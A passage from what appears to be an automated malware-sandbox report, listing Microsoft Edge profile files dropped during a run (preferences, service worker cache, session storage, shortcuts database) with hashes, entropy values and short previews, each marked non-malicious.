,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45f72.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.106513739943008
Encrypted:	false
SSDEEP:	192:stWkdpusfwaFvrE9kYxt8vbV+F5eQAyUdPTYJ:stWQusfwCDvbGwQQG
MD5:	F961F95875ACBC081B67C94FD0B3AB83
SHA1:	8733C3D18A16797551CFC4548C7D308692A3D502
SHA-256:	0FF0D0DAF9D99C97DCB9DB02668F6B56D26C1A9AC805DCD2DE085D4FCF96DEA4
SHA-512:	04EB92ABB763C54C60BE4A6A3F6EA200CEBBA158F2D775BF50B53728168A165FCF49ECCC2DBC03219A4C17EE39B5C9E1D6E4741B0AFEA8D8AB8A214738EB3007
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b9f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9758
Entropy (8bit):	5.106513739943008
Encrypted:	false
SSDEEP:	192:stWkdpusfwaFvrE9kYxt8vbV+F5eQAyUdPTYJ:stWQusfwCDvbGwQQG
MD5:	F961F95875ACBC081B67C94FD0B3AB83
SHA1:	8733C3D18A16797551CFC4548C7D308692A3D502
SHA-256:	0FF0D0DAF9D99C97DCB9DB02668F6B56D26C1A9AC805DCD2DE085D4FCF96DEA4
SHA-512:	04EB92ABB763C54C60BE4A6A3F6EA200CEBBA158F2D775BF50B53728168A165FCF49ECCC2DBC03219A4C17EE39B5C9E1D6E4741B0AFEA8D8AB8A214738EB3007
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377176074001445","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557778910654815
Encrypted:	false
SSDEEP:	768:tthBDeWSE7pLGLPl8W5w1Jf4bS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPcEInUw0A:tntehIcPl8Wa1JfiSu1jaRNBtRZtd
MD5:	019DA48DE248EBE8023DAEAA48FBB990
SHA1:	B972A0439BA71F9FEAD054F2409EC2EC067AD536
SHA-256:	57F3F4DCEBC1FED3883F58B6908DB3FA221F5CA08286220B997B1B2E61E412AF
SHA-512:	FC079A53CF26157ED9EA65DDB0D5E6165E065C026467F7083FB43B516704BC5EDB8E4ED1EDA3A0D465BB601DC21CF37DCE77F03BA91680D0D74A88864DA029A5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377176073436202","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377176073436202","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f7af.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557778910654815
Encrypted:	false
SSDEEP:	768:tthBDeWSE7pLGLPl8W5w1Jf4bS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPcEInUw0A:tntehIcPl8Wa1JfiSu1jaRNBtRZtd
MD5:	019DA48DE248EBE8023DAEAA48FBB990
SHA1:	B972A0439BA71F9FEAD054F2409EC2EC067AD536
SHA-256:	57F3F4DCEBC1FED3883F58B6908DB3FA221F5CA08286220B997B1B2E61E412AF
SHA-512:	FC079A53CF26157ED9EA65DDB0D5E6165E065C026467F7083FB43B516704BC5EDB8E4ED1EDA3A0D465BB601DC21CF37DCE77F03BA91680D0D74A88864DA029A5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377176073436202","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377176073436202","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF43d92.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557778910654815
Encrypted:	false
SSDEEP:	768:tthBDeWSE7pLGLPl8W5w1Jf4bS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPcEInUw0A:tntehIcPl8Wa1JfiSu1jaRNBtRZtd
MD5:	019DA48DE248EBE8023DAEAA48FBB990
SHA1:	B972A0439BA71F9FEAD054F2409EC2EC067AD536
SHA-256:	57F3F4DCEBC1FED3883F58B6908DB3FA221F5CA08286220B997B1B2E61E412AF
SHA-512:	FC079A53CF26157ED9EA65DDB0D5E6165E065C026467F7083FB43B516704BC5EDB8E4ED1EDA3A0D465BB601DC21CF37DCE77F03BA91680D0D74A88864DA029A5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377176073436202","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377176073436202","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.831148782096907
Encrypted:	false
SSDEEP:	48:F2emutrdDeRfBvhXrdYxirdDecBv6rdLcBvw:F1mutxDeR7xYxixDepxL9
MD5:	74F34E837AB8A267D001C4EA6D69394F
SHA1:	EC446F285481611ABB75021497A52E9C536F03F3
SHA-256:	64D7673D05D5A41BDCD92CBA8BFF3E74E471D869369D9781E6144C829ADF5324
SHA-512:	3ED5383A3F215E64BCB5D7DA7C807B648AA15EED3E7B6553FBCFEA99ACDAD2DBD3E384534515602757DD8354655A75EB2C0C536B3B672FB7C3D721FD93625E9F
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.C>pm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.1104834897373825
Encrypted:	false
SSDEEP:	6:HCLTZp1N723oH+TcwtE/a252KLlVCE3ugOq2PN723oH+TcwtE/a2ZIFUv:iPaYeb8xL/3OvVaYeb8J2FUv
MD5:	22F9A27A513B4338707D9909F3DBDE32
SHA1:	5C9F8BDAABD9A483874FD798D58FB8BEC3E67268
SHA-256:	F24C65125648BF5BC8D6CD1B5A13AB2261896190EFA0CF1D500ACE142D2D4B11
SHA-512:	C6BD9795D07EFCEB1794529B5020CE01632069F8EEC11D75347FE0A0F5DCFF680C021E8C81BD6287F0173B351CF73E56AAF3B3ED7E4C26193BD5E6122E615E58
Malicious:	false
Preview:	2024/11/27-05:14:50.996 1e00 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/27-05:14:51.008 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578530291464264
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgbX:d9LyxPXfOxr1lMe1nL/CL/TXEmsvF7
MD5:	BE9C7F4AEB3CA3F2E73D4FA04E3E4E53
SHA1:	9AFE73AEC87D82242D198EFD99C03D4292306390
SHA-256:	40562EC78D939C31F69E5A004E238D116B05E401FCC273327704BBC2D9FFF70E
SHA-512:	4BD2AB8BF4DD9F378A10F44E2B9FCE855CBDF86BBC5848B770C851E0CEA94349827B7318A002168BE8289BD31572BE664549DDDD3C6C4BAD81F005D2CB797BF0
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.385013584813399
Encrypted:	false
SSDEEP:	3072:TTk66wV6OwJwn0OC8aL/cOdQMNi9RCtUE2GRcEPL:7OwBCVL/a2sC7vT
MD5:	E81486B8354B8A792BAC315F7948FAAA
SHA1:	62E3ED87ADA8521F3AD9E649B4D5F1F10E05E173
SHA-256:	D63D39B457A152B22E1A920DBBD7C834B0B1FACC42D14ADFA4AF53E577D95030
SHA-512:	934BA5AC64F1468C61EEFD92DF79C711642FD8B80DB5FBA9B3050FB32E1C328694F28C152183469495C82D582DDB4D25061C123FEBACA8373C9EA1FCF2588967
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTp........,T.8..`,.....L`.....,T...`......L`......Rc.ja.....exports...Rc..3....module....Rc.Y......define....Rb6.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.6...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:tH100Xl/ly/l9/lxE0tlla/lvNgdC:7jmO0gZ
MD5:	8AF73563884F5607B824C478A9621B43
SHA1:	8A5D470D3885B259A36CEF9C94492FE7FCCCFE98
SHA-256:	CAB93A5D667DBE151C3EF3D4430E95C0DD1C4AA06073E1EA8EA06F04AD594DD7
SHA-512:	9B36D13AABDFB1F85D4DD80232A27FC15F3C74BF7FABE1BE5015FEC56D115637EB3A0E55C10715D7B40A6B599EF6B7EC68ABB642B5C18B82812F54662B2D4912
Malicious:	false
Preview:	@.......oy retne.........................X....,................P...x./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:tH100Xl/ly/l9/lxE0tlla/lvNgdC:7jmO0gZ
MD5:	8AF73563884F5607B824C478A9621B43
SHA1:	8A5D470D3885B259A36CEF9C94492FE7FCCCFE98
SHA-256:	CAB93A5D667DBE151C3EF3D4430E95C0DD1C4AA06073E1EA8EA06F04AD594DD7
SHA-512:	9B36D13AABDFB1F85D4DD80232A27FC15F3C74BF7FABE1BE5015FEC56D115637EB3A0E55C10715D7B40A6B599EF6B7EC68ABB642B5C18B82812F54662B2D4912
Malicious:	false
Preview:	@.......oy retne.........................X....,................P...x./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF43f28.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:tH100Xl/ly/l9/lxE0tlla/lvNgdC:7jmO0gZ
MD5:	8AF73563884F5607B824C478A9621B43
SHA1:	8A5D470D3885B259A36CEF9C94492FE7FCCCFE98
SHA-256:	CAB93A5D667DBE151C3EF3D4430E95C0DD1C4AA06073E1EA8EA06F04AD594DD7
SHA-512:	9B36D13AABDFB1F85D4DD80232A27FC15F3C74BF7FABE1BE5015FEC56D115637EB3A0E55C10715D7B40A6B599EF6B7EC68ABB642B5C18B82812F54662B2D4912
Malicious:	false
Preview:	@.......oy retne.........................X....,................P...x./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7319
Entropy (8bit):	3.362302701799824
Encrypted:	false
SSDEEP:	192:fdBECePND9Xp+jKUqz5SLl9iSrujcej6I:fjePND9Xp+2UW5SLl9iSrSh
MD5:	A0F3814CDCE646CD53F32B78FEFA2BD5
SHA1:	587170849196C12A991CCC7605839321D44D671B
SHA-256:	8A54F146B5119F4C2B92B33C2EAACC458CE9A39FDAE4010A9B31D699C6500931
SHA-512:	31463E7CE35659F7AE0A6A020F8461D0BD5A39716CEC2C4B0B29759E0C541B872AD0371C5E0995F4A7C654FF32831FD020E83A3D01ADAE2E4D1AF2F44C4F61DE
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................b................next-map-id.1.Cnamespace-82453347_d1b5_4120_a5af_056b4a87b223-https://ntp.msn.com/.0b./oR................map-0-shd_sweeper.6{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.a.n.n.t.4.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.q.v.f.t.c.c.2.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.e.c.,.p.r.g.-.1.s.w.-.m.s.n.c.t.r.l.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.w.x.p.r.e.v.-.s.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.n.t.f.1.-.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.135577704830577
Encrypted:	false
SSDEEP:	6:HCRTN9+q2PN723oH+TcwtrQMxIFUt8YCRTNJZmw+YCRXcSNVkwON723oH+Tcwtrb:i+vVaYebCFUt8X/+oSNV5OaYebtJ
MD5:	8F32A0D35831A8AAC9C7399B2B4A3236
SHA1:	140D9FC85F5AF5DAD215A297F57D3F4240465017
SHA-256:	7F509F9BD0C6EC52ABE00A05BA2BE61E561CAD23DAF8148C9E55CAB030342B22
SHA-512:	A14B25BAFC0CF9E5DB1CAC26DD8D51DA9DB02FEA2E1542C2FB7A370FE9927EBCF769CD554D84E5DEDCCA3FDBE3F65FFBBB872CAC942DFE747DAE4A63299378A5
Malicious:	false
Preview:	2024/11/27-05:14:34.234 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-05:14:34.234 59c Recovering log #3.2024/11/27-05:14:34.241 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.135577704830577
Encrypted:	false
SSDEEP:	6:HCRTN9+q2PN723oH+TcwtrQMxIFUt8YCRTNJZmw+YCRXcSNVkwON723oH+Tcwtrb:i+vVaYebCFUt8X/+oSNV5OaYebtJ
MD5:	8F32A0D35831A8AAC9C7399B2B4A3236
SHA1:	140D9FC85F5AF5DAD215A297F57D3F4240465017
SHA-256:	7F509F9BD0C6EC52ABE00A05BA2BE61E561CAD23DAF8148C9E55CAB030342B22
SHA-512:	A14B25BAFC0CF9E5DB1CAC26DD8D51DA9DB02FEA2E1542C2FB7A370FE9927EBCF769CD554D84E5DEDCCA3FDBE3F65FFBBB872CAC942DFE747DAE4A63299378A5
Malicious:	false
Preview:	2024/11/27-05:14:34.234 59c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-05:14:34.234 59c Recovering log #3.2024/11/27-05:14:34.241 59c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377176075923531

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8162443967072988
Encrypted:	false
SSDEEP:	24:32UiupA+nQTo8b4x3PS/5psAF4unxa9tLp3X2amEtG1ChqkLLL5fEQKkOAM4:3RM+nQE8b4x3PIzFILp2FEkChL5flHOp
MD5:	2EB8E008D15D70E8365B386603416EC4
SHA1:	6848701B55D1CA3DF2A452B07F36979FB60F5CB7
SHA-256:	CDD485D91139BFCA26D0028787EBF8923AEBCA6094BFA929F2FC4B365A3620E4
SHA-512:	58307C8E9C03863C07ABDFAEEB7E7461F4DC49C2685A39D2834C34AD001F5291AF7DA7331D76313204C49F3F20F8AAAE2A2DB3DE44BB322F887B77E49B7DB670
Malicious:	false
Preview:	SNSS........L..............L........".L..............L..........L..........L..........L......!...L..................................L...L..1..,....L..$...82453347_d1b5_4120_a5af_056b4a87b223....L..........L.......?S.........L......L..........................L......................5..0....L..&...{46F3A197-DB49-410A-81B3-94975C835573}......L..........L.............................L..............L..........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......o$.;.'..p$.;.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
